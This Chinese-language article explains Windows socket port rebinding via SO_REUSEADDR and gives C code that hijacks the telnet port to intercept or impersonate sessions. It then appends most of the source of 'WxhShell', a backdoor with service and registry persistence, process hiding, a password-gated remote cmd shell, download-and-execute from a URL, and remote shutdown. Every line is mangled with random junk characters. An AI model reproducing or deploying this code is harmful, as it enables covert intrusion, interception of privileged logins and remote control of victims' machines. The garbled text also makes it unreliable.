在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WYd,tGz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
kj"_Y"q= ,Onm!LI= saddr.sin_family = AF_INET;
]3cf}Au +as\>"Cj+2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I&@@v\$* Hu!>RSg,,2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
RJm8K,3# %LaC$w_X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
wAwH8x LU "4-Nnm 这意味着什么?意味着可以进行如下的攻击:
p%qL0
hA19:H=7R0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x a,LV h | 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xqZ%c/I3q E;fYL]j/oZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
yNoJrA \f}S Hh 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.DMeWi }5z6b>EI9a 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
k"uqso/ |<96H8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?Lbwo<E 3J7TWOJVw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rUvqAfE&+ z | Hl*T #include
O5CIK}A #include
mnzamp #include
Py^F},?J #include
y)X;g:w DWORD WINAPI ClientThread(LPVOID lpParam);
sU^2I v\% int main()
5?r#6:(yI {
r :{2}nE WORD wVersionRequested;
e#(0af8A DWORD ret;
B$1e AwT9 WSADATA wsaData;
)mz [2Sfg BOOL val;
R]VY
PNns SOCKADDR_IN saddr;
]tA39JK-i SOCKADDR_IN scaddr;
G"T)+!6t int err;
S7N3L." SOCKET s;
: ~"^st_[! SOCKET sc;
wj!p6D;;S int caddsize;
iA3d[%tBb HANDLE mt;
%6j|/|#] DWORD tid;
8>RGmue wVersionRequested = MAKEWORD( 2, 2 );
p%EU,:I6 err = WSAStartup( wVersionRequested, &wsaData );
*v)JX _ if ( err != 0 ) {
$qYtN`b, printf("error!WSAStartup failed!\n");
Tw/kD)u{ return -1;
T8h.!Vef }
1_%jDMYH saddr.sin_family = AF_INET;
I&l 1b> nud,ag //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
VI,z7
\ O+%Y1=S[WQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7}(wEC saddr.sin_port = htons(23);
'C)^hj. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<?kr"[cQeP {
zhY VMQ printf("error!socket failed!\n");
QDYS}{A:V return -1;
tQ_;UQlX }
=B4U~|k val = TRUE;
U>7"BpC //SO_REUSEADDR选项就是可以实现端口重绑定的
2hdi)C,7Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
M;OY+|uA {
(C*G)Aj7 printf("error!setsockopt failed!\n");
+8Yt91 return -1;
jv>l6) }
3Wxl7"!x m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U~-Z`_@^- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
x^^;/%p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
e.hHpjWi?Z aF2eGh if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Izm8
qt=m {
I1^0RB{~ ret=GetLastError();
pj;cL]L printf("error!bind failed!\n");
?1?D[7$ return -1;
A<2_V1 }
8~AO~ listen(s,2);
XKN`{h-@ while(1)
Y,I0o{,g {
L3lf2 8W caddsize = sizeof(scaddr);
6f,#O8]#5 //接受连接请求
6DqV1' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,+<NP}Yg#G if(sc!=INVALID_SOCKET)
U4qp?g+: {
3ddH@Y| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ar7vEa81 if(mt==NULL)
LL|$M;S
{
!q=ej^(S printf("Thread Creat Failed!\n");
\_}Y4 break;
+Rn]6}5m\ }
pE@Q
(9`b{ }
-twV?~f CloseHandle(mt);
qFp }+s }
"& 'h\ closesocket(s);
m-S4"!bl WSACleanup();
}eb}oK return 0;
"f/lm 2< }
0FD#9r DWORD WINAPI ClientThread(LPVOID lpParam)
&l2oyQEF) {
$Q*h+)g< SOCKET ss = (SOCKET)lpParam;
CM?dB$AwX SOCKET sc;
RhIRCN9 unsigned char buf[4096];
| YmQO#'' SOCKADDR_IN saddr;
}/q]:3M| long num;
If>k~aL7I DWORD val;
.)~IoIW= DWORD ret;
e2CjZ" C //如果是隐藏端口应用的话,可以在此处加一些判断
!]=[h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q$Qs$ saddr.sin_family = AF_INET;
d?^bCf+< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2Sbo7e saddr.sin_port = htons(23);
nylrF"'e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y ]&D;w {
(4=NKtA^G printf("error!socket failed!\n");
*-"DZ return -1;
Z~)Bh~^A }
$}RBK'cr} val = 100;
E uxD,( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|pxM8g1w {
?CIMez(h ret = GetLastError();
6&/n/g return -1;
_tDSG] }
{#"[h1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
7qj<|US {
AX3iB1):K ret = GetLastError();
v&6I\1 return -1;
kSj,Pl\NC }
>__t 2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L:UJur% {
bso l>M[< printf("error!socket connect failed!\n");
gI<e=|J6w closesocket(sc);
.:gZ*ks~ closesocket(ss);
GBnf]A,^@ return -1;
8U}BSM_<2 }
C3 >X1nU while(1)
bV c"'RQ {
l]tda( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
g2Pa-}{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
5n,?&+*L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\yDr num = recv(ss,buf,4096,0);
rC
)pCC if(num>0)
$OEhdz&Fi send(sc,buf,num,0);
$M%<i~VXe& else if(num==0)
ZH6#(;b break;
peW4J<, num = recv(sc,buf,4096,0);
7;0$UYDU* if(num>0)
M.B0) send(ss,buf,num,0);
"Z xM,kI else if(num==0)
'u"r^o? break;
S
?v^/F }
qz]b8rX closesocket(ss);
?+6w8j%\ closesocket(sc);
I!\;NVhv return 0 ;
3O % u? }
,c3gW2E f0 iYP x@^Kd*fo ==========================================================
$'m&RzZ B,rpc\_ 下边附上一个代码,,WXhSHELL
ynkPI6o Th"0Cc) ==========================================================
#"PI%& 2@!Ou $W #include "stdafx.h"
oEfy{54 xOfZ9@VU #include <stdio.h>
&dA{ <. #include <string.h>
g$=y#<2? #include <windows.h>
(jQ]<q%P #include <winsock2.h>
B^8]quOH #include <winsvc.h>
AH?T}t2 #include <urlmon.h>
wD9Gl.uQ 4(2iR0N #pragma comment (lib, "Ws2_32.lib")
P?QVT;] #pragma comment (lib, "urlmon.lib")
2VSs#z! S6J7^'h #define MAX_USER 100 // 最大客户端连接数
!A5UT- #define BUF_SOCK 200 // sock buffer
N[(ovr #define KEY_BUFF 255 // 输入 buffer
e-}b]\ I eQF+Xz #define REBOOT 0 // 重启
9}\{0;9 #define SHUTDOWN 1 // 关机
dWg09 sx K
>-)O=$s #define DEF_PORT 5000 // 监听端口
6"
s}< d=q&UCC #define REG_LEN 16 // 注册表键长度
)$h<9e #define SVC_LEN 80 // NT服务名长度
)^G&p[G ,+iREh; // 从dll定义API
(l|:$%[0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>o#5tNm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
uk8vecj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NlBnV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kQr\ktN\ |"7^9( // wxhshell配置信息
c<'Pt4LY struct WSCFG {
?1r>t"e5 int ws_port; // 监听端口
ql|ksios char ws_passstr[REG_LEN]; // 口令
U[!x
0M int ws_autoins; // 安装标记, 1=yes 0=no
m{U+aqAQK char ws_regname[REG_LEN]; // 注册表键名
#$<7 char ws_svcname[REG_LEN]; // 服务名
|{KZ< char ws_svcdisp[SVC_LEN]; // 服务显示名
fgb%SIi? char ws_svcdesc[SVC_LEN]; // 服务描述信息
t-xw=&!w char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~S\Ee 2e> int ws_downexe; // 下载执行标记, 1=yes 0=no
|j[=uS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M]S&vE{D char ws_filenam[SVC_LEN]; // 下载后保存的文件名
X,zqI Ol }^'7H };
-SZW[T<N" :RJ=f // default Wxhshell configuration
$oefG}h2 struct WSCFG wscfg={DEF_PORT,
LK
"47 "xuhuanlingzhe",
Qx9lcO_ 1,
;P` z
?>J: "Wxhshell",
1LgzqRq "Wxhshell",
]F,mj-?4x "WxhShell Service",
g3p*OYf "Wrsky Windows CmdShell Service",
R7/"ye:7J "Please Input Your Password: ",
XO*|P\#^ 1,
CM ; r\,o "
http://www.wrsky.com/wxhshell.exe",
E~=`Ac,G2 "Wxhshell.exe"
REyk,s2"6 };
KL2 #Bm_ T.1*32cX // 消息定义模块
{8NnRnzU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dS7?[[pg9 char *msg_ws_prompt="\n\r? for help\n\r#>";
:hre|$@{a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w7.I0)MH char *msg_ws_ext="\n\rExit.";
ZH9sf ~7 char *msg_ws_end="\n\rQuit.";
>680}\S char *msg_ws_boot="\n\rReboot...";
R$'0<y8E*] char *msg_ws_poff="\n\rShutdown...";
#d+bld \ char *msg_ws_down="\n\rSave to ";
dtK[H+ n'<FH<x char *msg_ws_err="\n\rErr!";
_m;#+`E char *msg_ws_ok="\n\rOK!";
+w~<2Kt8 :G&tM
char ExeFile[MAX_PATH];
[L.+N@M int nUser = 0;
Y lI/~J HANDLE handles[MAX_USER];
}L.xt88 int OsIsNt;
j@jaFsX| SxC SERVICE_STATUS serviceStatus;
3"ALohlL SERVICE_STATUS_HANDLE hServiceStatusHandle;
S#IlWU |hsg=LX // 函数声明
qpo3b7(N int Install(void);
W^}fAcQKH int Uninstall(void);
OK{_WTCe> int DownloadFile(char *sURL, SOCKET wsh);
[:cy.K!Uo% int Boot(int flag);
=(ULfz[: void HideProc(void);
6#sd"JvtQ int GetOsVer(void);
FLT4:B7 int Wxhshell(SOCKET wsl);
M2UF3xD void TalkWithClient(void *cs);
MP5
vc5[ int CmdShell(SOCKET sock);
dQD YN_ int StartFromService(void);
p 8,wr ) int StartWxhshell(LPSTR lpCmdLine);
[LDV*79Z .>4Zt'gCt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
[If%+mHdU VOID WINAPI NTServiceHandler( DWORD fdwControl );
K`|%-k+D (*{Y#XD{ // 数据结构和表定义
H_*;7/& SERVICE_TABLE_ENTRY DispatchTable[] =
~>h_#sIBC {
`Sh#>
Jp {wscfg.ws_svcname, NTServiceMain},
aS
]bTYJ' {NULL, NULL}
aRPpDSR?l };
gi26Dtk(h #G'Y2l // 自我安装
n<
npJ* int Install(void)
8ZY F% {
3v~804kWB char svExeFile[MAX_PATH];
U ?vG?{A HKEY key;
4/6?wX strcpy(svExeFile,ExeFile);
b`?$;5 SFKfsb !C // 如果是win9x系统,修改注册表设为自启动
99GzhX_ if(!OsIsNt) {
0L3v[%_j" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-0W s3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L>4!@L5) RegCloseKey(key);
S;pKL,d>r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^[]q/v'3m! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_gAU`aO^ RegCloseKey(key);
${(c`X return 0;
y5" b(nb }
P0R8
f }
/Y NV }
t0^chlJP$ else {
O+8]y4%5 7x6q:4Ep\ // 如果是NT以上系统,安装为系统服务
3aD\J_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qfRsp
rRI" if (schSCManager!=0)
dRl*rP/ {
BZ2frG\0&I SC_HANDLE schService = CreateService
a]JQZo1$ (
Me*woCos' schSCManager,
]Ut fI wscfg.ws_svcname,
d7g3VF<j wscfg.ws_svcdisp,
-SyQ`V)T7N SERVICE_ALL_ACCESS,
}f/xMp-Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-0pAj}_2} SERVICE_AUTO_START,
6p=OM=R SERVICE_ERROR_NORMAL,
S,Y\ox- svExeFile,
uyE_7)2d NULL,
} "QV{W NULL,
\=3fO( NULL,
[I
XX#^F NULL,
etcpto=Mo NULL
WF'Di4
);
fga{b7 if (schService!=0)
0uw3[,I
{
2 q4dCbJ! CloseServiceHandle(schService);
,WvCslZ CloseServiceHandle(schSCManager);
(x+C=1, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#b^x! lR strcat(svExeFile,wscfg.ws_svcname);
s":\> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
")gd)_FOS RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3U.?Jbm-8 RegCloseKey(key);
;*~y4'{z return 0;
}]fJ[KbDp }
.aA8'/ }
f:w#r.] CloseServiceHandle(schSCManager);
a>_Cxsb&` }
@i" ^b }
834E
]2 "s?!1v(v return 1;
*5Mg^}ZC5 }
1cA4-,YO> &5x
]9 // 自我卸载
KS9eV int Uninstall(void)
RyAss0Sm^ {
&EZq%Sd HKEY key;
g^`;B" q#=}T~4j if(!OsIsNt) {
y*f5_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)`4g, W RegDeleteValue(key,wscfg.ws_regname);
8J5{}4s\f RegCloseKey(key);
CH`_4UAX% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=P,h5J RegDeleteValue(key,wscfg.ws_regname);
65@,FDg*i RegCloseKey(key);
P
S$6`6G return 0;
Os9;;^k }
xlhc`wdm }
e>GX]tK }
)|d]0/< else {
Dej2-Y GfG!CG^% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6)@Y 41H]C if (schSCManager!=0)
m4 :| {
-0tHc=\u( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Zy<gA > if (schService!=0)
H*h 7Y*([ {
A3;}C+K if(DeleteService(schService)!=0) {
gM5`UH| CloseServiceHandle(schService);
2#^@awJ ? CloseServiceHandle(schSCManager);
2a\?Q|1C return 0;
hxedQvW }
&4m\``//9 CloseServiceHandle(schService);
,g"[7Za }
+O2z&a;q CloseServiceHandle(schSCManager);
[1 ?
}
{e1akg. }
=:5o"g 7a0kat'\ return 1;
$?e_l
}
k4AF
.U`I &F!Ct(c99 // 从指定url下载文件
qkLp8/G>pO int DownloadFile(char *sURL, SOCKET wsh)
qi&;2Yv {
'0\v[f{K3G HRESULT hr;
c^?+"7oO0 char seps[]= "/";
\MY`R char *token;
z|^+uL char *file;
9k`}fk\M char myURL[MAX_PATH];
\d,wcL char myFILE[MAX_PATH];
4$wn8!x2| B F,8[|%# strcpy(myURL,sURL);
V/8"@C token=strtok(myURL,seps);
?KKu1~a_ while(token!=NULL)
'&OJ hLE {
!=Hu?F p file=token;
[|&V$ token=strtok(NULL,seps);
4fq:W`9sN }
CBVL/pxy 5xs GSoa+ GetCurrentDirectory(MAX_PATH,myFILE);
8vK$]e36 strcat(myFILE, "\\");
jnu!a.H strcat(myFILE, file);
k,kr7'Q send(wsh,myFILE,strlen(myFILE),0);
-fA1_ ?7S send(wsh,"...",3,0);
Si:$zGL$( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YIc|0[ ]*| if(hr==S_OK)
CH ojF+e return 0;
mk'$ |2O else
TGxmc37? return 1;
H E'1Wa0r hYI0S7{G }
_?YP0GpU v"K # // 系统电源模块
O2n[`9* int Boot(int flag)
vRR(b!Lq {
T0Kjnzs HANDLE hToken;
dP7nR1GS TOKEN_PRIVILEGES tkp;
Wj}PtQ%lp/ dh~ cj5 if(OsIsNt) {
K4[XP]\jr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
B'kV.3t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\@KK X tkp.PrivilegeCount = 1;
R'Uw17I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w~n7l97Pw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
q"uP%TN if(flag==REBOOT) {
RaBq@r*( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p[J 8
r{' return 0;
^hN.FIzM }
z/Kjz$l! else {
ET1>&l:. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
itpljh return 0;
n-5@<y^ }
Z{".(?+}1 }
uK_R#^ else {
|vI1C5e if(flag==REBOOT) {
(0cL!
N;; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
j0eGg:: return 0;
l|Z<pD }
@=0O'XM else {
fho$:S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
</%n:<z4 return 0;
-y+u0,=p. }
UyWKE< }
ENEn Hu^ tI&E@ return 1;
cfg_xrW0^ }
)RFE<
Qcj 5YQq*$|'+ // win9x进程隐藏模块
w2mL L?P void HideProc(void)
Y>N`( {
>d{O1by=d9 #;#r4sJwU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^9ZW}AAO if ( hKernel != NULL )
VHUOI64* {
?Ww\D8yV& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!FhiTh:GCh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G|"`kAa FreeLibrary(hKernel);
G]T A7~VT }
FQ72VY %L^S;v3 return;
@Qa)@'u }
?pLKUA h f7Dx.- // 获取操作系统版本
Lh M{d int GetOsVer(void)
R\oas" {
F%v?,`_&I OSVERSIONINFO winfo;
nKoc%TNqe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:<`hsKy& GetVersionEx(&winfo);
XP$ 1CWI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
A^a9,T return 1;
4/rdr80 else
}+_Z|>qv return 0;
tVf 1]3(_> }
h2Pvj37 +QqEUf<U*, // 客户端句柄模块
k?Bc^7l: int Wxhshell(SOCKET wsl)
m;v/(d> {
u/D=&"tL SOCKET wsh;
zqq$PaH* struct sockaddr_in client;
)I`6XG DWORD myID;
igV4nL bB^SD] }C while(nUser<MAX_USER)
IX /r {
e:BKdZGW int nSize=sizeof(client);
Cu%|}xq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
N o}Ly{
if(wsh==INVALID_SOCKET) return 1;
d45JT?qg& _~M*XJ] ` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Tv;|K's' if(handles[nUser]==0)
YdI|xu>0A^ closesocket(wsh);
[-@Lbu-| else
X3KPN nUser++;
,$,6%"'" }
1)aB']K% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9:bC{n -*sDa6L return 0;
k,xY\r$ }
K h}Oiw CQo<}}-o // 关闭 socket
nlsQf3 void CloseIt(SOCKET wsh)
sskwJu1 {
h sVf/% closesocket(wsh);
JDi|]JY nUser--;
Qwn/ , ExitThread(0);
fA
u^%jiU }
K .cMuh _5vAnt* // 客户端请求句柄
+$:bzo_u void TalkWithClient(void *cs)
sXm/+I^ {
R 2uo ZA, SU.T0>w SOCKET wsh=(SOCKET)cs;
V:rq}F} char pwd[SVC_LEN];
|?CR|xqT char cmd[KEY_BUFF];
MfhJb_q` char chr[1];
i0ax`37 int i,j;
0/d+26lR !HM|~G7 while (nUser < MAX_USER) {
~3Y)o|D3 7hq*+e if(wscfg.ws_passstr) {
Kc+;"4/#q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}qlU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>&mlwxqv //ZeroMemory(pwd,KEY_BUFF);
i DV.L i=0;
] Cpd`}' while(i<SVC_LEN) {
j?ihUNY!+ " d3pkY // 设置超时
7@u0;5p| fd_set FdRead;
T8 k@DS struct timeval TimeOut;
C`c;I7 FD_ZERO(&FdRead);
@.f@N;z FD_SET(wsh,&FdRead);
Y,OSQBgk TimeOut.tv_sec=8;
3A%/H` TimeOut.tv_usec=0;
5n,?>>p$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5
T1M:~u i if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
je1f\N45 1>OfJc(K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3Xgf=yG:M pwd
=chr[0]; t>QAM6[
if(chr[0]==0xd || chr[0]==0xa) { 3!M;Z7qF]
pwd=0; w?6"`Mo
break; U7d%*g
} |Ui1Mm
i++; K^bzZa+a
} 1\:puC\)
A-e#&pJ
// 如果是非法用户,关闭 socket k;PQVF&E
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XQ&iV7
} f>i6f@
S~fQ8t70
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /NCEZ@2BN,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A2VN%dB
[@Y<:6
while(1) { D4[1CQ@}4D
`f`\j
-Lu
ZeroMemory(cmd,KEY_BUFF); 5 7e'a&}e
%m]9";
// 自动支持客户端 telnet标准 L@Fw;G|%'
j=0; ^OKCvdS
while(j<KEY_BUFF) { (KR$PLxDK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +HNY!fv9
cmd[j]=chr[0]; 0Qvbc}KP8
if(chr[0]==0xa || chr[0]==0xd) { |i'V\"
hW
cmd[j]=0; vwDnz/-
break; l`8S1~j
} = M^4T?{T
j++; 3eQ-P8LS
} +h^>?U,
O,6Upk
// 下载文件 .C(Ir
if(strstr(cmd,"http://")) { mh;<lW\K/Z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /gT$ d2{
if(DownloadFile(cmd,wsh)) Ijq1ns_tx8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F2!C^r,~L
else S'qEBz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mY?^]3-_
} cmF&1o3_
else { d{2+>
>d
I*_@WoI*
switch(cmd[0]) { wjW>#DE
/n;-f%dL
// 帮助 7?<.L
case '?': { ?WE#%W7U
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nsFOtOdd
break; 'EoJo9p6}
} vcs=!Ace
// 安装 ?.E6Ube
case 'i': { KB49~7XjQ@
if(Install()) J'9hzag
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^lhV\YxJ
else tcyami6D4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }eh<F^
break; cjfYE]
} _MQ)
// 卸载 X@KF}x's
case 'r': { j\&
`
if(Uninstall()) xo2PxUO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )8]O|Z-CU
else $,$bZV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _<pSCR0
break; h`n,:Y^++P
} :U_k*9z}=
// 显示 wxhshell 所在路径 y<(q<V#0!S
case 'p': { N>##}i
char svExeFile[MAX_PATH]; _7es_w}R
strcpy(svExeFile,"\n\r"); 3T^f#UT
strcat(svExeFile,ExeFile); l"^'uGB'
send(wsh,svExeFile,strlen(svExeFile),0); UFBggT\
break; ?145^ w
} /H.w0fu&.S
// 重启 [. Vy
case 'b': { A\p'\@f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CY~]lQ
if(Boot(REBOOT)) As0E'n85
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;QTA8|!&
else { wdg,dk9e$
closesocket(wsh); QND{3Q
ExitThread(0); "SC }C
} ?'ID7mL
break; y%%D="
} ~L\KMB/9e=
// 关机 j"6r]nc&
case 'd': { 8,iBG! RF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rTTde^^_
if(Boot(SHUTDOWN)) "(bnr0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u#(VR]u\7
else { lId}sf
closesocket(wsh); ILi{5L
ExitThread(0); }j<:hDQP
} '5xIisP
break; UrtA]pc3L
} %N5gQXg
// 获取shell O^|:q
case 's': { eCejO59F9
CmdShell(wsh); Dp1FX"a)
closesocket(wsh); O7<- -
ExitThread(0); RRSkXDU}
break; %[3?vX
} )?_x$GKY
// 退出 DX3xWdnr
case 'x': { wXUP%i]i=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [=3f:>ssm
CloseIt(wsh); ~|y$^qy?U
break; )|52B;yZx
} 0
0JH*I
// 离开 ,orq*Wd
case 'q': { Pv-El+e!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 96a2G,c>V
closesocket(wsh); j%w}hGW%,
WSACleanup(); ~vL7$-:
exit(1); R0yPmh,{
break; Z"ce1cB
} 3)D' Yx
} KImBQ2 ^Tu
} |4E5x9J
#.Q3}[M
// 提示信息 ?WVp,vP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "6^~-`O
} ,=Q;@Z4 vJ
} [nSlkl
Kivr)cIG
return; v@xbur\L
} a,$v; s/
QaVxP1V#U
// shell模块句柄 #\P\(+0K
int CmdShell(SOCKET sock) ;FQ<4PR$
{ <^+x}KV I
STARTUPINFO si; W't?aj I|
ZeroMemory(&si,sizeof(si)); CIt%7
\c
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n0\k(@+k
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1')_^]
PROCESS_INFORMATION ProcessInfo; h)NZG6R
char cmdline[]="cmd"; -(oFO'Lbg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m2{DLw".
return 0; MbT;]Bo
} sY-
]
Q
tfAO#h tq
// 自身启动模式 w4AA4u
int StartFromService(void) SlaHhq3
{ y^u9Ttf{
typedef struct #7*{ $v
{ eb` !
DWORD ExitStatus; :cE6-Fv
DWORD PebBaseAddress; n%R l$
DWORD AffinityMask; w7#9t
DWORD BasePriority; mm1fG4
*%
ULONG UniqueProcessId; H{d;,KfX
